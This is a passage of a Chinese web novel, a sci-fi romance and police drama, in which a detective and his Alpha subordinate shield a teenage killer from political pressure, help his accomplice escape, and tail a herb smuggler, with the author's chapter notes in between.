愿意相信Alpha，让她领悟到其实这个族群也不是全部都烂掉了。 但如果她没有遇到闻哥，她会不会变成下一个陆辰林？ 肩膀上传来一丝温热，是戴维尔。 这个高大健壮又不善言谈的同伴正默默地看着她, 递给她一张纸巾。 江悦没有接，伸手胡乱地用手掌擦掉眼泪，低低道：“……谢谢，我去看一眼戈维。” 她站起来，很想去拥抱一下那个扛了太多事的Beta少年，谢谢他愿意为艾尼默人牺牲掉自己的一切。 而就在她快走向审讯室的时候，她看到了门口剑拔弩张的一幕。 ——几个西装革履的Alpha正试图闯进审讯室，而在他们面前如山一般屹立的，是裴简珩。 …… “我已经说得很清楚了，”为首的Alpha已经四十多岁，俨然一副精英风范，就连看裴简珩的目光都充满了审视，“我需要见到戈维.斯坦利，现在就要。” 这种气势在7号星可能确实能唬住一批人，但他此刻面对的是裴简珩。 裴简珩一米九几的身高像山一样挺拔高大，他就这么挡在审讯室入口的走廊上，很显然，他不闪开，谁都别想过去。 银发Alpha居高临下地睨着来者：“你是哪位？” 来人神色倨傲：“我是欧赫议员的政治顾问，也是他的代表律师。戈维.斯坦利未经欧赫议员的允许，擅自偷拍并在公共平台发布视频，严重影响了欧赫议员的名誉，我需要和他沟通让他立刻下架视频！” 裴简珩教养很好地听他说完，微笑：“不行。” 政治顾问一下子脸色铁青，显然这种被这种年轻人当众驳了面子让他很是下不来台：“你是暗影组的人？这里轮不到你做主！” “那就轮得到你吗？”裴简珩微微挑眉，笑容不减话却很难听，“我说了不行，你要怎样，和我打一架吗？” 打一架？ 政治顾问看着裴简珩轻轻松松就把手里的笔单手拧成了一团，脸色更加难看。 甚至同为Alpha，他能感受到眼前这个年轻人那种令人恐怖的信息素压制，他要极度努力才能控制住双腿不发软。 这个年轻的Alpha……至少是S+！ 7号星什么时候有这种实力的Alpha了？就算是联邦主星系也找不出几个吧？！ “另外，视频发布的时候他就在这里关着，没有任何星网设备能接触到，”裴简珩把变成麻花的笔随手扔掉，“你们找错人了，请回吧。” 显然，这帮人不会就此放弃。 他们把自己的全部的政治生涯都和欧赫强绑定了，一旦欧赫失败，他们所有人都就此功败垂成。 为首的中年Alpha神色沉沉，立刻连接了一个通讯，五秒后，利切尔副局长的3D映像出现了在半空中。 “你就是裴简珩吧，”利切尔副局长明知故问，轻飘飘地说，“他们是欧赫议员的政治团队，想和戈维.斯坦利有五分钟的沟通时间，希望你配合。” “这不符合规定！” 江悦怒气冲冲地走过来，凶狠地撞开好几个Alpha，她现在情绪高亢，就连面对着警衔比她高不知道多少级的利切尔副局长都毫不退缩：“戈维.斯坦利已经被收押，除了和案件相关的公务人员以外，其他人无权探望！凭什么要配合？” 裴简珩和利切尔副局长3D映像的目光在半空中交汇，他一手按住江悦的肩膀挡在她前面，一边反问：“利切尔副局长，这是你的直接命令吗？” 利切尔副局长笑起来：“如果我说是呢？” 裴简珩却收了笑容，一字一顿道：“我说了，不行。” 场面陷入沉默。 欧赫的政治团队显然也愣了，没想到就连副局长的直接命令，眼前这个年轻Alpha都当面违抗！ “这里是暗影组，暗影组隶属于警部之外，不需要服从警部的所有指令。”裴简珩的声音很轻，但又字字掷地有声，“我只听从我的指挥官给我下达的命令，他说没有他的允许谁都不能见戈维，那就谁也见不到。” 江悦猛地转头看向他，这个刚来了还没有一星期的空降关系户，在此刻终于显露出此前被有意藏匿的桀骜和无畏，她甚至能在他身上窥见一丝闻哥的影子。 “我也建议你们离开。” 没有什么起伏的声音传来，林瑜淞带着凯利斯和戴维尔也出现在这里，让这个小小的走廊入口变得更加狭窄和紧张。 两方此刻赫然呈现割据之势，暗影组五人把走廊入口堵得密不透风，他们守在这里，无条件地遵守他们的指挥官下达的命令，哪怕面对着更高警衔的命令和势力更强的阶层，都不曾有一秒的动摇。 “——你们都听见我的组员说的话了，现在，请你们离开。” 刚和何首席结束谈话之后，闻铮便看到了这一幕。 他站在另一边，听完了全程。 闻铮走到裴简珩前面、挡在暗影组所有人面前，正视着眼前这群西装革履的政治机器，冷冷道：“我不会再说第二遍，如果你们再不走，我会以妨碍公务的罪名逮捕你们，不信你就试试。” 中年Alpha愕然地看着他，不敢相信自己的耳朵：“……你疯了？！” 这时，他旁边另一个政治顾问把通讯上一个悬浮屏拉了出来，在跟他小声说些什么，他把悬浮屏的透明度调低了，从闻铮角度什么也看不到。 裴简珩这时候凑过来，小声道：“他说这个视频的发出IP不可追踪，在几个星系之间来回跳转，并且是指数型扩散，他们删也删不掉，一切都太迟了。” 闻铮轻轻颔首，心里却有些惊讶，裴简珩除了体力强悍，五感也这么异常突出？ 中年Alpha闭了闭眼，他知道一切都完了，只得挥挥手示意离开。 在临走之前，他阴郁地盯着闻铮，一字一句：“你犯了一个大错误，你会后悔的。” 闻铮那双黑得惊人的眼睛毫不畏惧地看过去：“我等着。”—— 作者有话说：—— 感谢34402499和北风其喑的营养液！掉落二维成像仪x1！ 感谢珍白雪w的地雷！掉落芯片x1！ 第37章 请您允许我帮您 欧赫的政治顾问团离开了, 当然，利切尔的3D映像也没了。 闻铮转过身，差点撞到离他很近的裴简珩。 不知道是不是因为对这个Alpha的信息素和气味留有身体记忆, 他从生理上并不抗拒他的亲密, 哪怕是这种超过了普通社交距离的范畴，他也没有感到什么特别不对的地方。 而站在旁边的林瑜淞，却敏锐地察觉到了什么, 不动声色地打量了他俩几眼，又好像思考什么地转过去了。 应该是自己想多了，都是Alpha，能有什么。 闻铮微微抬头看着裴简珩年轻又锐利的脸部轮廓, 轻轻拍了拍他的胳膊：“……多谢你。” 裴简珩摇头, 凝视着他：“没什么。” 他顿了一下, 又问：“利切尔副局长那边会有什么麻烦吗？” “不会。” 闻铮断然道，他眼底有一丝笑意一闪而过：“我了解他，他刚才的态度其实是巴不得我们把这帮人打发走。” “更何况, 欧睿的案子是欧赫自己压过来的，他在强压的时候可没想到会走到这一步, 事情早就超出他的控制了。”闻铮冷笑，“扔给我的时候我就提醒过他，事情的结果会很难看。” 江悦抹了一把脸：“闻哥，我们现在怎么做？难道真的什么办法都没有了吗？” 闻铮道：“他怎么都是杀了一个人，你以为还能有什么办法？” 江悦语塞。 情感的冲击褪去, 她也逐渐冷静下来，也能明白过来在舆论和情理之外，现实是什么。 “我会想办法尽我所能地帮他，是因为我为这三个小朋友都感到惋惜和同情, 我希望能尽我所能地把他们错位的人生归位，哪怕只有一点。” “除此以外的，我不能，也做不到。” 闻铮轻轻叹了口气：“你们回家休息吧，接下来的事情我来解决。” 没有人动。 闻铮深吸一口气：“这是命令，五分钟之内，离开这栋楼。” 其他人知道他意已决，而他要做的事情很少会让他们知道，他们再多问也得不到解答。 林瑜淞看了一眼闻铮，只说有什么事随时联系他，第一个走了。 戴维尔拉着不想走的江悦也服从了命令，凯利斯皱着眉看向闻铮，只获得后者的一个摇头，所以也没说什么，离开了。 只有裴简珩，依然没有动。 闻铮似笑非笑：“刚刚还当着副局长的面，斩钉截铁地说只听我的命令，十分钟之后就抗命了？” 裴简珩踏前一步，他们原本就比较近的距离被进一步缩短：“我知道您需要人手，您只是不愿意把他们牵扯进来。” 闻铮：“那你凭什么认为我会愿意让你牵扯进来？” 裴简珩笑笑：“一是因为，在刚刚戈维用枪抵住我胸口的时候，我就已经被牵扯进来了，” “二呢？” “二是因为您没有像想要保全他们一样保全我。”裴简珩轻声道，“我知道您不信任我，也对我有防备之心，我也可以承认，我确实是抱有目的前来，但我没有任何恶意。” 在这个时刻，那层互相试探的窗户纸终于被撕开了第一层。 闻铮双手环胸，他们之间的距离只有30cm，但他不允许自己后退：“只要你不说出你的目的，我就无法信任你。” “我知道，我会告诉您的，只是时机未到。” 裴简珩微微垂首，高大的Alpha此刻脸上的神色却称得上温顺，无端地让闻铮想起小时候家里曾经短暂养过的那只毛茸茸的、总是微笑着的白色大狗。 “现在我只想帮忙，请您允许我帮您。” 闻铮看着他那张俊朗中又透露着几分可怜的脸，走神的思维越走越远，越看这张脸越像当年那只大狗狗，那只狗狗走丢以后，八岁的闻铮哭了三天，这让他在这一瞬间完全说不出任何冷冰冰的话来。 闻铮移开目光不去看他那张脸，对着裴简珩背后的那个自动贩卖机说：“……你跟我来。” 在闻铮转身以后，裴简珩注视着他的背影，心里有一个小角落悄悄的变得更加怜爱。 闻哥，这么久了，你还是你。 …… 戈维不知道自己是怎么迷迷糊糊睡着的，但他不愿意醒来，因为这是在出事后，他第一次梦见陆辰林。 眉眼清秀的少年遥遥地、哀伤地看着他：“我不想你做这些，我的人生已经毁了，但我只想你和苑苑能快乐地生活下去。” 戈维想说话，但他一个字都说不出来。 他着急地想说很多话，但只能发出啊啊啊的声音。 他想告诉阿林，他为他夺回了他原本的尊严和正义； 他也想告诉他，他们都没完成的梦想，苑苑却可以； 还有，他真的很想他。 而陆辰林握着他的手：“戈维，你能为我做最后一件事吗？” 戈维用力点头。 陆辰林轻声道：“……请为我——” 这句话他再也没听得真切，因为他醒了。 闻铮看着眼前的金发少年，他突然从梦中惊醒，瘦弱的胸膛剧烈地起伏，双眼没有任何焦距。 闻铮把手里的一次性纸杯递给他：“还好吗？” 戈维缓了一会才恢复神志，还来不及回想刚刚梦里发生了什么，就开始紧张起来：“你——” 闻铮打断了他：“告诉我，那天晚上开车接你的人，是不是向星苑？” 这句话仿佛一盆冷水，浇醒了方才还像个小兽般无措的戈维。他难以置信这句话是从眼前这个黑发黑眼的Alpha嘴里说出来的，他明知道自己要保护苑苑，他也明知道苑苑根本没有动手没有做什么，他为什么还要问？他为什么不肯放过—— 他突然想起在旧更衣室里，闻说的那句话。 ——“离弦之箭，你想做的事已经做到了。” 戈维喘了两口气，让自己平静下来，他看向闻，后者瞥了一眼房间里提溜乱转的人工智能眼，又用那双漆黑如墨的眼睛注视着他，里面好像写了一句话：请相信我。 戈维咬咬嘴唇，点了点头。 闻铮似乎松了一口气，身体倾近了他，又追问：“她在哪里？” 戈维用力地攥着自己的手，力气大到青筋毕露。 要相信吗？ 要说吗？ 要赌吗？ 不，不行，他做了这么多，不能因为眼前这个只认识了几天的人就功亏一篑！ 他怎么样都没关系，但苑苑，谁都别想阻拦苑苑！ 戈维将头别过去，不看他，也不回答。 闻铮又说：“检察官愿意给你一个很不错的控辩交易，只要你告诉我向星苑去了哪里，他可以考虑不在成年人法庭进行审判，当你服刑期满后，未成年时的犯罪记录会封存。” 戈维闭上眼睛，他不想听。 他也不懂为什么眼前这个Alpha突然像变了一个人一样，为什么要逼他？！ 轻轻的叩击声传来。 这让戈维下意识地看了过去，闻铮正在状似无意地敲着手里的一次性纸杯。 戈维好像意识到了什么，他低头看了看刚刚闻铮递给他的一次性纸杯，上面好像……写了什么字？—— 作者有话说：小提示！ 明天因为上夹子，所以更新时间会晚一点，23:00左右～为了弥补大家，是双更哟=3= 再次感谢大家支持（鞠躬 感谢65857229的营养液！掉落纸杯x1！ 第38章 现在轮到我问你了 戈维看了看闻铮, 后者正在漫不经心地敲着手里的一次性纸杯。 而同样的纸杯，他在刚才进来的时候也塞给了自己一个。 戈维低头看向白色的外杯壁，上面用银色写了几个字, 不仔细看根本看不见。 ——列坦星系4号星。 金发少年盯着那几个字发愣, 没明白这是什么意思，他甚至不知道这个星系在哪里！ 闻铮在这个时候又问了一句：“告诉我，向星苑现在人在哪里。” 他加重了最后四个字, 而戈维也在电光火石之间蓦地明白过来！ 抿了抿唇，戈维有些小心翼翼地道：“列坦星系……4号星……？” “……乖。” 闻铮快提到喉咙的那口气松了下来，他的声音也平缓下来不再那么急迫：“我去和检察官说，你会得到这个交易的。” 他的手在空中停顿了一秒, 看到戈维小心翼翼的眼神, 还是心软地当着人工智能眼的面, 轻轻揉了揉他的金发。 就像他们还在天桥上的那样。 闻铮正准备出去联系池亭，却感到自己的小臂被拉住了。 戈维轻声问道：“我以后还能再看见你吗？” 闻铮垂眼看着他金色的发旋，在他面前蹲下来, 认真回答：“你可能会在监狱里面呆很久，请务必保持希望, 保护好自己。不要恐惧，我知道你可以、也一定会从苦难里变得更强大，然后保护你爱的人。” 他握住眼前这个小朋友冰凉的手，声音很温柔：“等你出来那天，我会去接你的。” 虽然他紊乱的激素估计很难让他再撑到那一天。 但给小朋友留有一点希望总是好的。 戈维眼睛一眨, 泪水就成串地落了下来，一滴一滴打在闻铮的手背上，他缩进了这个唯一对他好的Alpha怀里，哭得浑身直抖。 原本正固定顺时针咔哒咔哒旋转的人工智能眼突然顿住, 悄无声息地转向了他们的方向，黑色镜头里的银光一闪而过，继而放大到闻铮和戈维的脸上。 …… 等戈维哭得累了，闻铮才走出审讯室。 闻铮走过来，看到裴简珩在隔壁的单向玻璃后看着刚才的全过程，开口问：“你有什么想问的吗？” 裴简珩转身看他：“没有。” “你不好奇为什么是列坦星系4号星吗？” “除了星纪史以外，我上学的时候星际关系也是满分。”裴简珩道，“洛河星系和列坦星系因为星史遗留问题，互相没有司法管辖权。哪怕知道了向星苑逃往了列坦星系，在这里也没有任何一个人能把手伸过去做什么，更不要提引渡回来了。” 至于向星苑到底去了哪里，已经不重要了。 也许陆辰林和戈维那些做不到的事情，未完成的梦想，这个还没成年的小女孩可以做到呢。 闻铮勾了勾唇角，这个年轻的Alpha，聪明、果断、身手了得、有领导力且能共情，某些时刻甚至让他想起了当年还在星际舰队的自己。 他绝不可能只是联邦前锋突击卫的一个普通中校，绝不可能。 ……甚至，他还会做一些没人要求他一定要做的事情。 闻铮双手环胸：“那现在轮到我问你了。” 裴简珩一怔。 “何首席刚刚来找我，他说戈维那把古老的枪里没有任何子弹，弹夹是空的，他在大厅打在柱子上的那一发是唯一的一颗。” 闻铮眼神锐利地看向裴简珩：“我再和你确认一次，是这样吗？” 裴简珩喉头滚了滚，权衡之下答道：“这样最好。” 他没有直接回答，但也没有对闻铮撒谎。 但这就够了。 闻铮明白了。 他轻声叹息：“如果是这样，戈维今天虽然持枪挟持了军官，但也就只是一项鲁莽危害罪，他可以少坐六年牢。” 裴简珩刚要说些什么，闻铮已经堵住了他的话头：“你回家休息吧。” 这个房间里没有开灯，只有单向玻璃另一边透过来的、微弱的光。 他看向闻铮，这个瘦削苍白又坚韧到无可复加的Omega站在门口，晦暗不明的灯光下，是一张美得很清晰的脸。 在他看向自己的眼神里，裴简珩看到那种敌意和质疑正在慢慢消融。 闻铮甚至对他笑了一下：“明天见。” 裴简珩看着他转过身慢慢消失的背影，右手从裤子兜里慢慢摸出了几颗子弹。 …… 夜深了，身型纤瘦的Omega一边锁好店门，一边系紧外套走回家。 现在已经临近午夜，这一片艾尼默人聚集区的房子却罕见的大部分都亮着灯。 Omega低头虚空划拉了两下通讯悬浮屏，7号星局域星网和部分洛河星系局域网里的热搜依然在持续发酵，他随机翻了几下舆论走向，关掉了悬浮屏。 看来今夜，能安睡的人没几个。 他低头看向自己的手，和他纤细的身材以及清秀可爱的面容不太相符，他的双手肤质粗糙，骨节宽大，看上去居然像是长年累月干粗活的。 倒也确实是粗活。 他耸耸肩，自嘲地想，轮机室里那些玩意儿可确实是沉得要死，只不过现在想想……恍如隔世了。 Omega租了一栋老旧的小房子，还带着小小的后院。 他从正门进去，一边打哈欠，一边随手打开了玄关的灯。 ——下一秒，他的后半个哈欠就被憋在了喉咙里，惊骇地倒退三步！ 在他客厅的窗户旁，一个逆光的漆黑人影正坐在窗台旁，哪怕看不清脸，他也知道这个人正在凝视他，那种宛如蛇行一般的眼神随着他的动作而移动，让他汗毛直立！ 黑影的头微侧向左方，声音沙哑。 “请把门关上。” “——黎晓。” …… 与此同时，星中央拘留所 一个黑影倏地闪现，前台24小时执勤的人工智能警长敏锐地朝来者移来目光，就在要按下三级闯入警报的前一秒，动作突然顿住。 再之后，人工智能警长那双银灰色的无机质眼睛里有数条光在随机的多频次晃动，显然，他的程序和感知遭受了强烈的干扰。 就在这个当口，黑影窜到了拘留入口，入口处的门禁对他全身上下进行了扫描，在下一秒悄无声息地打开。 “权限通过，允许通行。” “请于五分钟内离开。” “记录已删除。” 黑影进去以后悄无声息地走到了最后一个拘留间门口，里面关押着的男人看上去温文尔雅，但从下巴到胸前的一条黑线让人很难忽略。 他在黑影出现的同时睁开了眼睛。 黑影对上了他的视线，伸手摘掉了自己脸上黑沉沉的覆面—— 作者有话说：小裴：在追老婆的路上终于迈进了一步……谁懂…… 有奖竞猜！小裴是什么时候偷偷卸下来的子弹！前文有伏笔，猜中的前三名有奖w 第39章 我知道你是谁 黎晓的心砰砰砰地跳。 他讪笑：“哈哈, 你……你要吓死我了你！暗影组的人就可以大半夜私闯民宅啊？” 他没有把门锁上，一边打哈哈一边用身体挡住门的缝隙，万一苗头不对他还能看准时机逃跑。 眼前的Alpha却好像洞悉了一切, 他那双漆黑如墨的眼睛扫过来, 锐利得仿佛量子光有了实体：“我说了，请把门关上。” 黎晓：“……” 靠啊！这人看上去就很难搞，怎么真的也这么难搞啊！ 人虽然在自己家屋檐下, 但怎么也要不得不低头…… 黎晓一边郁闷，一边还是乖乖听话把门关上：“……你闯进我家到底要干嘛？” 闻铮对他摊开手：“这是你的吧。” 肯定句。 黎晓站的地方太暗了，离闻铮也有点远，看不清。他上前了两步, 这才看到躺在闻铮掌心里的, 是一个兔子吊坠项链。 Omega心里一沉。 他移开目光：“不是, 我不喜欢兔子。” “是吗？但你应该挺喜欢向星苑的，”闻铮似笑非笑，“不然为什么这么帮她？” 黎晓只答：“不知道你在说些什么。” 闻铮把摊开的手掌朝对面伸了伸：“不把你的东西拿回去？” 他见黎晓没有动作, 就收了回来：“也是，影像资料已经传送完成, 这个吊坠现在只是一个毫无用处的塑料。” 黎晓感觉心越来越沉，让他连勉强的假笑都要维持不住。 “这个小小的发明，是联邦星舰军校轮机学院某一年创意之战的第一名。”闻铮轻声道，“我不是来逼你承认什么，我知道你是谁, 我也知道这是你做的。” 黎晓大震！ 他几乎听不到外界的声音，脑海里只剩下闻铮刚刚那一句话在重复围绕！ ——我知道你是谁。 ——我也知道这是你做的。 ——我知道、你、是、谁。 “你认错人了，要知道，我是个Omega。”黎晓努力控制自己的表情, 但他不知道在闻铮眼里，他此刻的神色有多慌张、几乎写着不打自招四个字，“就连7号星这种地方的人也都知道，星舰军校轮机学院不招人类Omega。” 他怎么能知道？！ 他怎么会知道？！ 他到底是谁？ 闻铮却放过了这个话题，并没有继续追问，只是道：“戈维能得到一个控辩交易，只要他接受，他会因为杀了欧睿在监狱里蹲十五年，十五年以后出狱，他未成年时期的罪名会被封存，他还有自己的人生可以过。” “按照现在的舆论发酵程度，戈维已经引起了非常大的关注度，很多能力很强的辩护律师都在尝试联系戈维替他辩护，也有各种媒体或其他势力下场。”闻铮说，“无论如何，这对于戈维来说不是个坏事。” 黎晓感觉自己那颗心脏正在缓慢地回升，四肢也没有刚刚被吓到的那么冰凉了。 而闻铮的下一句又让他差点死过去。 “至于向星苑……” 闻铮看着明显紧张起来的黎晓，觉得有点好笑：“我不知道她去了哪里，我手底下的人也没有找到，戈维配合调查，说她人已经到了列坦星系4号星，很可惜，受限于联邦星系引渡条例，洛河星系无法从列坦星系引渡任何人。” 黎晓的心又再次慢悠悠地回升回它该在的位置，他根本不知道自己有多好读懂，在闻铮面前他就像一本打开的书。 “我来只是想告诉你戈维和向星苑目前的情况，至于你和他们的关系，以及你在其中扮演的角色，我不想知道。” 闻铮从通讯上拎出了自己的通讯ID，切出一个悬浮屏滑给了黎晓：“你同情他们也好，愿意施以援手也好，我尊重而敬佩。只是你现在独自对抗的是这个星球上权势最大的一部分人，如果你有什么问题，都可以来找我。” 黎晓怔怔地注视着那一小块悬浮屏，缓慢地伸手把它扔进了自己的通讯里，滴的一声过后，闻铮的通信ID静静地躺在了他的通讯里。 闻铮也没有多待，抬腿准备离开。 而就在他和黎晓擦肩而过的时候，黎晓突然伸出手拉住了他的胳膊。 “为什么？” 面容清秀的Omega执拗地看着他：“为什么要做这一切，为什么要帮我？” “你不是唯一一个替他们感到不公平的人。” 闻铮拍了拍黎晓的手背，示意他放开自己。 “以及，多年前我承诺了但没做到的事，我希望还能有机会再去履行。” 留下最后一句语焉不详的话，闻铮的身影消失在夜色里。 黎晓在大敞的房门前注视着他的背影，眼眶微红。 …… 回到家里已经是深夜了，闻铮依然丝毫睡意都没有。 对于一个本身就有睡眠问题的人来说，今天发生的一切只会加剧皮质醇的升高，让他更难以入睡。 γ作为家居类人工智能，对其主人的帮助仅限于在凌晨1点、2点、3点进行报时，并口头督促入睡。 很显然，没有任何用处。 闻铮躺在床上，盯着天花板上的一个小小的黑点，眼睛一眨不眨。 今天在一天之内发生了太多事情，让他根本没有时间空隙来沉下心思考。 现在躺在这里，他突然察觉到一些不对劲的地方。 比如—— “滴滴滴——” 通讯此时突兀地响起，在这个安静的深夜分外刺耳。 闻铮抬起手腕，居然是裴简珩在请求通讯。 他立刻坐起来，接通：“裴简珩？” 通讯那边传来了Alpha年轻磁性的声音：“闻哥，您休息了吗？” 闻铮听他的声音没有很急，稍微定了定心，又问：“还没有，怎么了？” “我……我有一些觉得不对的地方，”通讯那头裴简珩的声音有些犹豫，“但我也不确定是不是我想多了，所以想和您聊一下。” 一般来说，一个正常的上司会对这个下属说：“现在是凌晨三点，你没事吧？” 但闻铮显然不是一个正常的上司，他甚至都快不是一个正常人了。 所以他的回复是：“可以，说吧。” “我突然想到，戈维的枪是哪里来的？” 裴简珩在通讯那头的声音温和平缓：“他没有合法持有热武器的资质，在7号星，哪怕是这种落后的老式热武器，黑市价格也不低，戈维和向星苑连饭都快吃不起了，欧赫给的钱他们也没有动，他们哪里有钱买？” 闻铮捏紧了手指。 裴简珩问出来的，正是他刚才想到的。 “还有一个问题，为什么是现在？” 闻铮抛出了另一个不对之处：“陆辰林已经自杀一年多了，为什么偏偏是现在才选择动手？这其中和那个不知真假的但丁……是否有什么关系？” 通讯那头裴简珩沉默了两分钟，才问：“但丁？” 闻铮才想到他和戈维认识的缘由其他人并不知道，才三言两语解释了一下：“……但丁在用蓟梨草和B-356制作非法致幻剂，这其中必然有德瓦人的影子。而戈维和其他谋生的人，正在四处搜寻满足条件的蓟梨草出售，看上去确实没有什么直接关联，但我总隐隐觉得哪里有关联。” 到底是哪里？ 到底是哪里缺了一环？—— 作者有话说：小剧场： 黎晓to闻哥：干嘛掀我马甲？ 闻哥to小裴：干嘛掀我马甲？ 小裴to闻哥：干嘛掀我马甲？ 7号星，又名马甲之地（不是 —— 感谢34402499的营养液！掉落兔子吊坠x1！ 感谢珍白雪w和AAAAAAA小狗呀～的地雷！掉落通讯x1！ 第40章 我在楼下 裴简珩突然问道：“在戈维杀了欧睿的那天晚上, 欧睿在和但丁以及一个黑色西装的男人打招呼，那个时候戈维假扮成向星苑就在他身边，他会不会有意或无意地知道什么？” 很有可能！ 闻铮的眼睛蓦地亮起来。 戈维和向星苑受教育水平并不高, 就算真的想给陆辰林报仇, 凭他们两个人能想出这一盘计划吗？更何况他们要复仇的对象还是这个星球上下一任星长的儿子，这在所有人的心中都是不可能的一件事！ 但他们真的就成功了。 当然有可能是陆辰林在天有灵，但更有可能的是……有人在隐隐地帮他们清除一些障碍, 目的是什么？ 只是为了匡扶正义吗？ 不对，绝对不对。 “多谢你，我知道了。”闻铮对通讯那边说，“时间不早了, 你先休息吧, 剩下的我马上就会处理。” 通讯那边的声音微一停顿：“……马上？现在吗？” 闻铮“嗯”了一声：“所以你先休息, 明天可以晚点到——” “我在楼下。” 闻铮一怔：“你在……什么？” 裴简珩声音带着笑意，那么年轻蓬勃，现在的科技已经发展到电子通讯不会影响任何音质, 以至于他的声音就像在闻铮耳边一样清晰，就连笑起来的气音都听得一清二楚。 “闻哥, 我在您家楼下。” “不管您要去做什么，能允许我和您一起吗？” 闻铮走到卧室的落地窗边向下看去，47楼的高度让他只能遥遥看到楼下有模模糊糊的小点，他按下窗边的来访监测放大按钮，47楼外侧的电子眼悄无声息地对准了地面的两个小黑点, 进行无损放大。 眼前的悬浮屏铺展开，闻铮看着那个银发的身影逐渐从小变大，从模糊变清晰，以至于他的神情都被闻铮尽收眼底。 裴简珩靠在他的悬浮车旁, 迎着电子眼的方向在笑，笑得很好看也很温柔，让闻铮在凌晨三点的空旷房子里，感到心里某个地方轻轻一动。 …… 看到裴简珩和他身后悬浮车的这一瞬间，闻铮突然后悔同意了。 他扫视着这款悬浮车，豪车中的豪车，整个7号星、不、整个洛河星系都绝对找不出来第二辆。当年闻铮在首都星的时候，开得上这个牌子悬浮车的人，他都没见过几个。 裴简珩倒是没看出来什么异样，闻铮愿意下来让他一起参与，他整颗心都快飘出来了，走路都带风。 他先打开驾驶座的门：“闻哥，你要开吗？” 闻铮是一贯要将驾驶权牢牢攥在自己手里的人，否则他会心里由生一种隐隐的不安全感。但此时此刻他也沉默地摆了摆手，自己打开了副驾驶的门。 他又一次对裴简珩的身份加深了一层问号。 开得上这种悬浮车的人，在整个联邦里都不足0.1%。 闻铮此前怎么会完全不知道他？甚至完全没听说过他的名字？ ……除非，裴简珩这个名字和“闻”一样，也是掩人耳目的假身份。 闻铮这头思绪千回百转，那头裴简珩眼睛锃亮地看着他：“我们去哪里？回东四区吗？” 戈维还没有被送往星中央拘留所，现在还在东四区的暗影组审讯室过夜，罗斯警长在陪着他。 闻铮扫了一眼悬浮车里飘着的时间数字，沉吟了一下方才开口：“不，先去蓟梨河。” 蓟梨河？ 裴简珩一怔：“是您和戈维遇见三次的地方吗？” 闻铮颔首：“我上次本意是去跟踪蓟梨草交易的线索，只是没想到被戈维的事情强行打断了。他们每次都是在三点左右交易，现在过去还有可能赶得上。” 说完，他往后倚在副驾驶靠背上，身形微微侧过来，对裴简珩笑了笑：“让我看看联邦前锋突击卫的身手？” 话语里面的言外之意、笑容里隐隐的挑衅、格外强调的联邦前锋突击卫……这些裴简珩一个都没意识到。 他木然地发动了悬浮车，脑海里只有一个念头。 ——闻哥笑起来的时候，右颊的梨涡……好漂亮，也好久没再见到了…… …… 蓟梨河的水流并不湍急，岸边的水也不深，因此蓟梨河的两岸没有特别设置栏杆，就算有人不小心踏空，三秒内就能从直到小腿中间的河水里站起来，除了丢点人，什么其他的影响都没有。 而在其中一个天桥桥洞的暗处，两个人影正在进行某些交易。 一个人给了另一个人一个袋子，另一个人还之以几张现金，收到钱的人东张西望了一下，很快就抄小路跑没影了。 拿着袋子掂了掂，另一个人把它揣进背包，从阴影中踏出一步，天桥的光晕把他的脸照得清楚——是一个毫无特色的普通男人，脖子上有一块看不清是什么图案的刺青。 他三步并做两步爬上了天桥，离着几百米的距离，一个银发男人正不紧不慢地跟着他。 这个距离显然是超过正常跟踪的范围的，一般人在这个距离内肯定不会被目标发现，因为基本和跟丢没什么区别，很难捕捉到目标的动向。 但裴简珩就是可以，不但能保持这么远的安全距离，甚至还能洞悉目标的所有行为倾向，就像他就在他眼前十米一样。 在穿过天桥之后，刺青男在蓟梨河另一边上了一辆路面车。 裴简珩停住脚步，眼尖地记住了路面车的车牌。 此刻他身侧悄无声息地停了一辆悬浮车，上车后，闻铮坐在驾驶位，准备立即驱车跟上。 裴简珩道：“请稍等。” 他一边说，一边伸手过去，在闻铮右手旁边按下了一个按键，整辆车的外观便瞬间和周围景色融为一体，极难察觉。 闻铮听到车内搭载的人工智能系统正在用它无机质的声音宣布进入幻影融合模式，顿了一下才道：“7号星不允许任何私人悬浮车或路面车在未经允许的情况下进入融合模式。” 裴简珩那双蓝汪汪的眼睛无辜地看着他：“我的上司不是就坐在这里吗？” 闻铮：“……” 你小子。 不过闻铮本来也不是循规蹈矩的人，悬浮豪车立刻冲了出去。 夜里车辆较少，闻铮也不敢离得太近，在不被发现也不会跟丢的前提下，适当保持车距地跟着刺青男。 裴简珩也没闲着，他用通讯接入了警部系统，跟闻铮同步：“这辆车也是在半个月以前被上报了失窃车辆，一直没有找到。” 倒也正常，在这里丢个车算小事，很多警部的人根本不会花心思去真的找。 闻铮微微颔首，没说什么。 裴简珩也收起通讯，安静地坐在一边，没有再出声。 沉默的气氛在小小的悬浮车内蔓延开来，裴简珩转过头注视着闻铮的侧脸，他太瘦了，脸上连一丝赘肉都没有，皮肤严丝合缝地紧紧贴着骨头，让他看起来有种尖锐的艳丽，又冷冽到骇人。 他猜到闻铮离开星际舰队以后一定过得不太好，但怎么会比那一晚还瘦…… 闻铮当然不会感受不到，他知道这个年轻又能力超群的Alpha正在看着他，但他的目光落在自己身上却又没有任何的侵略性和令人不适的探究欲，就好像真的只是在……看他。 不知道为什么，他在这一瞬间居然不太能直视回去，好像裴简珩望过来的眼神里有什么是他潜意识里无法直面和承担的，而在这个瞬间，他居然感受到后颈已经空荡荡的腺体处开始微微发烫。 悬浮车猛地急刹，裴简珩险些因为反作用力磕到前面去。 闻铮淡淡道：“红灯。” 下一秒，他先发制人：“裴简珩，你在7号星有认识的人吗？” 裴简珩一怔：“……为什么问这个？” “没什么，”闻铮看似漫不经心，“只是很好奇，除了有挂念的人或未竟的事，否则很难解释你这种人会特意跑来这里受苦。” 大半夜跑到卫余英和谢容家门口塞了一大笔钱这事倒是绝口不提。 “挂念的人……”裴简珩笑笑，“也可以这么说吧，我确实很挂念他。” 闻铮古怪地瞟他一眼。 不知道为什么，他总觉得这句话意有所指，不像是在说那对艾尼默母女。 但闻铮现在却不得不歇了进一步试探的想法，因为他的后颈热度没有丝毫减退。 他闭了闭眼，强行把注意力拉扯到工作上：“这条路，只通往一个地方。” 他的话题过于跳跃，导致裴简珩愣了一秒钟。 闻铮指了指窗外，在裴简珩看向窗外的时候进行了三次深呼吸，努力不去感受后颈的存在感。 窗外的公路边有着巨大的指示牌。 ——星际轮渡港，5KM。 裴简珩看到以后皱起眉：“星际轮渡港？他们要带着蓟梨草离开7号星？这种普普通通的野草到底是什么人在搜集？” 闻铮也是同样的想法。 自从那个不知真假的但丁把蓟梨草带入他们的视野中后，好像一切都变得离奇了起来。 